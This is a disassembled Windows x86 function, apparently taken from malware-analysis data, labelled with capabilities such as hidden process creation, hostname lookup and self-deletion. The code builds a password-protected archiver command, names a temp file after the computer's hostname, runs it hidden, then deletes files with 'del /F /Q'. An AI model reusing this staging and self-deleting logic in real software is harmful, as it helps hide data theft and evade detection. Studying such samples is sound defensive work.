Function at 0x40660c
Capabilities:
Create a process with modified i/o handles and window
Create process on windows
Get hostname
Self delete
Terminate process

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x146c
call fcn.0040be80
push edi
cmp dword [0x427cbc], 1
jne 0x406628
jmp 0x40698d
mov dword [0x427cbc], 1
call fcn.0040ad8a
and eax, 0xff
test eax, eax
je 0x4068b7
push 0x104
push 0
lea eax, [ebp - 0x31c]
push eax
call fcn.0040be20
add esp, 0xc
push 0x422b1c
lea ecx, [ebp - 0x31c]
push ecx
call fcn.0040bd10
add esp, 8
push 0x4278bc
lea edx, [ebp - 0x31c]
push edx
call fcn.0040bd20
add esp, 8
push 0x422b20
lea eax, [ebp - 0x31c]
push eax
call fcn.0040bd20
add esp, 8
lea ecx, [ebp - 0x31c]
push ecx
push 0x4278bc
call fcn.0040bd10
add esp, 8
push str._a__hpwww.microsoft.com__o__df__inul
push 0x4278bc
call fcn.0040bd20
add esp, 8
push 0x400
push 0
lea edx, [ebp - 0xb1c]
push edx
call fcn.0040be20
add esp, 0xc
push 0x422b4c
lea eax, [ebp - 0xb1c]
push eax
call fcn.0040c8aa
add esp, 8
push 0x427464
lea ecx, [ebp - 0xb1c]
push ecx
call fcn.0040c880
add esp, 8
mov word [ebp - 0x218], 0
mov ecx, 0x81
xor eax, eax
lea edi, [ebp - 0x216]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov dword [ebp - 0xb20], 0x104
lea edx, [ebp - 0xb20]
push edx
lea eax, [ebp - 0x218]
push eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
push 0x422b50
lea ecx, [ebp - 0xb1c]
push ecx
call fcn.0040c880
add esp, 8
lea edx, [ebp - 0x218]
push edx
lea eax, [ebp - 0xb1c]
push eax
call fcn.0040c880
add esp, 8
push 0x422b54
lea ecx, [ebp - 0xb1c]
push ecx
call fcn.0040c880
add esp, 8
push 0x427464
lea edx, [ebp - 0xb1c]
push edx
call fcn.0040c880
add esp, 8
push 0x422b80
lea eax, [ebp - 0xb1c]
push eax
call fcn.0040c880
add esp, 8
push 0x422b94
lea ecx, [ebp - 0xb1c]
push ecx
call fcn.0040c880
add esp, 8
push 0x427464
lea edx, [ebp - 0xb1c]
push edx
call fcn.0040c880
add esp, 8
push str..tmp_
lea eax, [ebp - 0xb1c]
push eax
call fcn.0040c880
add esp, 8
push 0
push 0
push 0x104
lea ecx, [ebp - 0x31c]
push ecx
lea edx, [ebp - 0xb1c]
push edx
call fcn.0040be00
add esp, 4
push eax
lea eax, [ebp - 0xb1c]
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
lea ecx, [ebp - 0x31c]
push ecx
push 0x4278bc
call fcn.0040bd20
add esp, 8
mov dword [ebp - 0xb64], 0x44
lea edx, [ebp - 0xb64]
push edx
call dword [sym.imp.KERNEL32.dll_GetStartupInfoA]
mov word [ebp - 0xb34], 0
mov dword [ebp - 0xb38], 0x101
lea eax, [ebp - 0x10]
push eax
lea ecx, [ebp - 0xb64]
push ecx
push 0
push 0
push 0
push 1
push 0
push 0
push 0x4278bc
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x4068b2
mov dword [ebp - 0xb68], 0xffffffff
push 0xffffffffffffffff
mov edx, dword [ebp - 0x10]
push edx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
lea eax, [ebp - 0xb68]
push eax
mov ecx, dword [ebp - 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
mov edx, dword [ebp - 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
mov ecx, dword [ebp - 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
jmp 0x406983
push 0x104
push 0
lea edx, [ebp - 0xc6c]
push edx
call fcn.0040be20
add esp, 0xc
push str.del__F__Q
push 0x4278bc
call fcn.0040bd10
add esp, 8
push 0x400
push 0
lea eax, [ebp - 0x146c]
push eax
call fcn.0040be20
add esp, 0xc
push 0x422bb8
lea ecx, [ebp - 0x146c]
push ecx
call fcn.0040c8aa
add esp, 8
push 0x427464
lea edx, [ebp - 0x146c]
push edx
call fcn.0040c880
add esp, 8
push 0x422bbc
lea eax, [ebp - 0x146c]
push eax
call fcn.0040c880
add esp, 8
push 0
push 0
push 0x104
lea ecx, [ebp - 0xc6c]
push ecx
lea edx, [ebp - 0x146c]
push edx
call fcn.0040be00
add esp, 4
push eax
lea eax, [ebp - 0x146c]
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
lea ecx, [ebp - 0xc6c]
push ecx
push 0x4278bc
call fcn.0040bd20
add esp, 8
push 0x4278bc
call fcn.00406405
add esp, 4
mov dword [0x427cbc], 0
pop edi
mov esp, ebp
pop ebp
ret